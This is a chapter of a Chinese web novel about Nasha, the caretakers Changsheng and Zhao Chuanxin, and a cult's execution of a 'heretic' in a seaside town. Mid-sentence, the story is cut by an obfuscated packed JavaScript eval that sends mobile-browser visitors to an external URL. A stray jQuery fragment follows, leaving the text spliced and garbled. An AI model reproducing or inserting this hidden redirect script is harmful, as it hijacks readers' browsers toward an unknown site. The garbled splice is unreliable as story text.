不对劲……
如果是客人,根本不可能上楼。
但现在,镇民们都在广场,来的人会是谁?
那个……迷晕自己的保育员吗?
那莎的心跳开始急促起来,胸口仿佛被重物压住,他忍不住紧张地吸了口气。
手比大脑先一步反应,那莎轻手轻脚地拿起床边防身的木棍,心跳声大得吓人。
她缓慢走到门侧,每走一步,老旧的地板便发出轻微的吱呀声,这股声音和门外传来的脚步声逐渐交织在了一起。
一步,
两步,
三步。
那莎停下了,门外的脚步声也恰巧停了下来。
一时间,酒馆陷入死一般的寂静,只有晚风和闷雷作响。
“……那莎?”
古怪沉闷的低音男声从门外响起,咬字生疏得像刚学会说话。
“!”
那莎的心猛地一跳,目光死死盯着房门,她紧握手中的木棍,指尖早已用力至泛白。
砰!
门在下一秒被推开,那莎几乎本能地闭上眼,浑身一阵哆嗦。她举起木棍,朝着门的方向狠狠地敲了下去。
“嗯哼!”
一声痛苦的闷哼随之响起,脚步声也随之而停。
结束了。
那莎心脏跳动得更加猛烈,几乎要从胸腔中跳出来。
她小心翼翼睁开眼,地上的男人那头棕色的卷发格外显眼,高贵不凡的衣着、矜贵的气质,与那莎脑海中熟悉的那个人重叠在一起。
那莎心中顿感不妙。
她慢慢地走近,将男人翻了个身。
阳光英俊的脸大剌剌地暴露在那莎面前,那莎不由得惊呼出声:“……安德鲁?”
保育局内。
原本破了个大洞的坏墙在机器人的修补下焕然一新。
赵传欣坐在大厅,看着维修师傅投放在面前的早年新闻,一时失声。
上面记录了因机械义肢安装失败、承受不住术后疼痛,幼童暴走杀害了自己的养父的事件详情。
而照片里幼童那张无机质的木然的脸……和长笙有八成像。
维修师傅啧啧称奇:“听说她是保育局员工从任务中带回来的保育对象,上任保育局局长收养了她,她却恩将仇报,真是好心没好报啊……”
看着赵传欣沉默不语,维修师傅又转头又安抚性地劝赵传欣。
“妹子,我劝你也早点离开保育局。这里钱多命短,同事又不是善茬。”
他啧啧:“我看你刚毕业没多久,现在努努力,转去别的执行局还是有指望的!”
“好了!”
赵传欣突然开口,她抬头看向维修师傅,亲切圆润的脸上满是坚韧。
“先不说笙姐是因为意外失控才……的,发生这种事情,她心里肯定比谁都难过。”
她低下头看着新闻,又想到初遇那天,长笙提起自己父亲时那股自豪和珍惜的神情。
她心里不知怎的,被一股微弱的哀伤席卷。
赵传欣定了定神,站起身朝维修师傅下逐客令。
“也请师傅不要再八卦我的同事了,之后我会给您五星好评。师傅好走不送。”
“诶诶!你这人怎么这样!也是个好心没好报的……”
师傅被她推搡出门,脚步踉跄着说起闲话。
赵传欣对着门口吐舌回敬。
她飞快回到自己工位,拿起通讯装置。
【那莎,你和我的智脑聊得怎么样?】
无人回话。
海风呼啸而过,卷起咸湿地水雾朝海滨小镇席卷而来。
小镇广场上,狂风将尤克教神子的暗袍吹出变形的波纹,兜帽下是一张张沉默的脸。
他们面前站着经过细致筛查挑选出的“好苗子”,不多,只有三个。
站在中间的汤姆几次想跑回珍妮夫人身边,又被珍妮夫人摆着手制止,只能无措站在台上。
为首的神子高高扬起手臂鼓掌,脸上勾出满意的笑容:“恭喜这三位镇民获得加入尤克教的机会!”
啪、啪啪啪……
掌声稀稀拉拉响起,又在下一秒被制止。
神子低语:“下面,让我们进入最后的环节——审判异端!”
哗啦啦——
神子们牵着铁链,将满身血脓、衣着破烂的“异端”押上了台。
“异端”似乎连力气也没有了,肢体任随着神子们摆布。
不多时,他被绑在了木架上,身下堆满了柴火。
长笙隐没在人群中注视着那个人。
他并不是松间雪。
但……
长笙的目光停留在他的胸口,上面挂着保育员的铭牌编号:005。
他应该是绑走那莎的那个保育员。
为什么他会落入尤克教手里?为什么要绑走那莎?
长笙盯着他,潦草的头发湿哒哒盖在男人脸上,隐去他的面容。
他还穿着星际中最流行的款式,只是上面一道道划痕让衣服几乎看不出本来面目。
他全身满是脏污和血迹,显然受到了了非人的折磨。
如果是在星际联邦,或许他能得到免费救治,哪怕他是囚犯。
他是同乡人,是我的同事。
长笙这么想着,往前走了一步。
或许,我还可以救他。
她穿越拥挤的人潮,朝男人的方向走去。
下一秒,火焰腾空而起,火舌点燃了男人的衣角。
镇民们被这场大火吓得退避三舍。
似乎有小孩的啼哭隐隐传来,又被大人掩盖。
“哈——”
他突然笑了。
“哈哈哈哈哈——”
男人胸膛剧烈起伏,他的笑容染上疯狂的痕迹。
他看着扫视了一圈台下的镇民,在镇民们恐惧的目光中,一道视线尤其特别。
他和长笙对视了。
长笙微微偏头,朝他露出挂在耳朵上微小的通讯装置。
男人瞳孔一缩。
“啊!”“啊!”
他试图张嘴,似乎想说些什么。
但那些微弱的声音只能是无用功。
长笙的视线牢牢锁在他身上,而步履不停。
男人着急得摇头,他的唇形在说:
不要救我。
长笙并不理他,她已经走到了人群的第四排。
男人“啊”“啊”的张开嘴,却只是看向天空,他的嘴轻微动了动。
保护——那莎——
别信——尤克教——
他的胸膛剧烈起伏。
下一秒,他的脚重重地往上一踢。
脚底的木柴散开,而更多燃烧着的干草带着焰火吞噬了他的上半身。
男人自杀了。
长笙止住了脚步。
她已经站在第二排,焰火倒映在她的瞳孔。
而她沉默地看着陌生的同伴客死他乡。
镇民们从没看过这种场面。
一时间,广场陷入一片死寂。
台上的神子拍了拍暗袍上的余灰,不无遗憾地说:“看来所有的异端都已经抓捕完毕,这场闹
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14964402|161216||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
剧终于结束了。”
一个细弱的声音响起:“尊敬的神子大人,我想知道,为什么这个人是异端呢?”
站在台中央的神子笑了,他看着底下的镇民,声音庄重而威严:“严格意义上说,他并没有亵渎神明的行为。”
镇民们更加迷茫了。
“但……他偷窃了神选中的子民——我们国家的王妃。”
长笙猛地抬起头。
神子还在台上侃侃而谈:“这种人古往今来一直存在,但伤害神的子民,便是与尤克教作对。”
他意味深长地警告:“如果镇民们发现身边有‘异端’存在,也可以寻求尤克教的帮助。”
他双手交叠放在心口:“塔塔神会永远庇护你们。”
镇民们同样双手交叠放在心口祈愿。
【笙姐!】
通讯装置中传来赵传欣焦急的声音:【那莎不见了!】
长笙心中一惊,而台上神子继续道:“在塔塔神的庇护下,王妃已经和王子在本镇相见。”
镇民们迷茫地相互对视。
神子张开手掌,双手向上高举,他盯着天空无不愉快道:“为了感谢本镇这段时间对王妃的照顾,我们将送上特别的礼物给大家——”
人群中爆发出欢呼声,神子们从台后搬出大包小包包装良好的礼物堆在台上。
镇民们兴奋地朝着广场中心挤去。
长笙逆着人流往回走,两侧均是狂热的镇民。
她低头捂着通讯装置小声说道:“那莎被接回王庭了。”
【什么?】
长笙垂眸,快速地将所知的信息分享给赵传欣,紧接着说:“如果这名死去的保育员说的是真话,那我们绝不能让那莎落到尤克教手中。”
【王庭和教会是一伙人吗?】
杰克叫喊她的声音在后方传来,长笙已经穿出人群,朝着酒馆飞奔。
两侧的人流几乎被光拉扯出晕影,她快速答道:“不确定。”
长笙拐进一个偏僻巷角,一个轻跃跳上屋顶。
她快速在建筑物的顶部飞跃着穿梭。
“那莎不可能放弃回到王庭的机会。”
赵传欣若有所思:【所以我们要做的便是……】
酒馆就在前方,长笙眉目一凝:
“跟她一起去王庭,避免她和尤克教继续接触。”
在镇民们缓慢走回家的路上,长笙已经到达了酒馆。
她快步走上楼梯,那莎的房门虚掩。
里面已经人去楼空。
不,还有一样东西。
长笙看到桌面放着一个信封,她打开信封,将折叠好的信纸展开。
上面写着:
很高兴认识您,和您做朋友。
这将是我人生中最珍贵的回忆之一,您的铭牌我已改造好放入信封。
听安德鲁说,保育员已经被列入重点捉捕名单,今后还请小心。
祝您今后幸福、愉快。
——那莎
长笙将信封倒过来,一条项链落在手心。
似乎为了长笙的安全,那莎将四四方方的铭牌边缘打磨得平滑细腻。
铭牌的一角增加了一个金属环,银链穿环而过组成一条铭牌项链。
长笙将铭牌握在手心,银链从指缝中滑落。
呜——呜——
海港传来船只即将扬帆起航的号角。
长笙掀开窗跳上酒馆的屋顶往海港眺望。
机械改造过的左眼透过遥远的距离看见……那莎被一个高大的男人护在怀中。
即将登船。